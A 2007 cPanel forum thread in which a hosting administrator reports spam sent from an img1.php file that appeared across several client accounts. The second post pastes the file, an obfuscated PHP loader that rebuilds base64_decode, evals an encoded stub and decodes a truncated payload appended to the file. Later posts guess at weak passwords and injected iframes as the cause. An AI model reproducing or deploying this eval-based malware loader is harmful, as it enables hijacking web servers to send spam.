The Community Forums

Interact with an entire community of cPanel & WHM users!
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

High Spam and img1.php

Discussion in 'E-mail Discussions' started by moogle, Nov 27, 2007.

  1. moogle

    moogle Well-Known Member

    Joined:
    Apr 7, 2003
    Messages:
    94
    Likes Received:
    0
    Trophy Points:
    6
    Hi,

    I'm having an issue with spam and it seems to be originating from img1.php, which is in all the accounts that are sending the spam. I looked for similarities in the accounts, but I haven't found any yet. Some don't even have a php script in the public_html. I can't find how this script was uploaded. I'm positive 13 clients didn't all decide to do this.

    Has anyone else seen this that can point me in the right direction?
     
  2. moogle

    moogle Well-Known Member

    Joined:
    Apr 7, 2003
    Messages:
    94
    Likes Received:
    0
    Trophy Points:
    6
    Here's what's in the file..

    Code:
    <?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited.
    $OOO0O0O00=__FILE__;$OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64');$OO00O0000=9396;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('aWYoITApJE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO2ZnZXRzKCRPMDAwTzBPMDAsMTAyNCk7ZmdldHMoJE8wMDBPME8wMCw0MDk2KTskT08wME8wME8wPShiYXNlNjRfZGVjb2RlKHN0cnRyKGZyZWFkKCRPMDAwTzBPMDAsMzcyKSwnMDFaYzRxUE1DbTNoV2Y2K0tYZDUyVk5nalFGVWFyTFlPOVJFSDhwbC9lR3N4a25KdklpdUJEd3pTVG90eTdBYj0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpKTtldmFsKCRPTzAwTzAwTzApOw==')));return;?>
    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[CODE]
    
    There's more, but it wouldn't let me paste it all. Basically, nothing..
     
    #2 moogle, Nov 27, 2007
    Last edited: Nov 27, 2007
  3. moogle

    moogle Well-Known Member

    Joined:
    Apr 7, 2003
    Messages:
    94
    Likes Received:
    0
    Trophy Points:
    6
    I think I found a "link".

    I think it has something to do with the iframe and virus scripts that magically appear in index.html files. I've heard it mentioned a lot that it's due to FrontPage Extensions, but they've been disabled on my server.

    So people will weak passwords are getting these files on their account, then they're sending spam.
     
Loading...

Share This Page